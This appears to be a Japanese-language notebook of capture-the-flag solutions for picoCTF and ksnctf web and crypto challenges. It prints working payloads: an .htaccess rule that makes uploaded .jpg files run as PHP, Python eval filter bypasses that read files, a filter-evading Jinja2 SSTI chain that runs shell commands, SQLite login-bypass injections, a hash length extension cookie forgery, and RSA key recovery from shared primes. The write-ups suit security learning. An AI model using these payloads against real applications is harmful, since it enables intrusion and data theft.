picoCTF – byp4ss3d
AddType application/x-httpd-php .jpg
を含んだ .htaccess をアップすることで .jpg ファイルに記述された php が動作するようになる。
picoCTF – 3v@l
タイトルで推測できるが eval のフィルターバイパス問題。
最終的には以下コマンド実行結果を表示させたい。
open('/flag.txt').read()
base64 でバイパスしてみる。指定すべき文字列を確認。
$ echo -n '/flag.txt' | base64
L2ZsYWcudHh0
以下を入力ボックスに入力。
open(__import__('base64').b64decode('L2ZsYWcudHh0').decode()).read()
別解。/ と . だけ chr で指定して、他は文字を分断して対応。
open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read()
picoCTF – SSTI 2
Web アプリ側で実装されたフィルターを搔い潜って SSTI 攻撃を成立させる。
最終的には以下のように SSTI 攻撃による Linux コマンド実行結果を表示させたい。
{{request.application.__globals__['__builtins__'].__import__('os').popen('ls').read()}}
. (dot) や _ (under score) や ” (double quotation) がフィルタされている。
そこで . のようなプロパティ呼び出しや辞書キー呼び出し、_ の代替を考える。結果。
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
__globals__ や __builtins__ や __import__ は実際は実行環境 (通常のスクリプトか exec , jinja2 等の埋め込み環境か、等) によって辞書だったりオブジェクトプロパティだったりするため __getitem__ を手探りで使う感じか。
picoCTF – Web Gauntlet 2
AND password= を文字列として処理させる。
Username: ad'||'min' group by
Password: '
この結果、
SELECT username, password FROM users WHERE username='ad'||'min' group by' AND password='''
という処理がされる。結果として1行でもエントリがあれば認証成功なので group by は何でもよい。(少なくとも SQLite では)
picoCTF – Web Gauntlet 3
25 文字以内。SQLite で使える GLOB で以下のような WHERE 句を作る。
WHERE password = '' GLOB '*'
処理の順序としては password = ” により FALSE と判定されるが続く GLOB ‘*’ により FALSE は文字列 ‘0’ にキャストされ ‘0’ GLOB ‘*’ により TRUE 判定となる。
Username: ad'||'min
Password: ' GLOB '*
ksnctf – KanGacha
0 から 10 の戦艦の名前に 0 から 10 のインデックスが割り振られており、乱数に応じたインデックスの戦艦名を返すが 10 は出ないようになっている。
空の POST を送るとクッキーの ship にインデックスのリストがカンマ区切りで返ってくる。併せてそのリストの SSHA-512 が signature として含まれており salt は不明。
クッキーを偽装して 10 が含まれるカンマ区切りの ship を送信し、それに併せた signature を作成するのが方針。ハッシュの伸長攻撃 (Length Extension Attack) ができる HashPump を使う。
ポイントは ship に 10 を追加する際、最初のインデックスの後は \00 を URL encode で %00 にして Null Padding で埋めた後、%2C10 と拡張させること。
ksnctf – HTTPS is secure
Hint: Two certificates are similar. が指すのが、RSA の公開鍵 (Public Exponents) n = p * q の片方の素数が同じだということを暗示している。なのでユークリッド互除法で q をはじき、p を計算し秘密鍵を抽出する。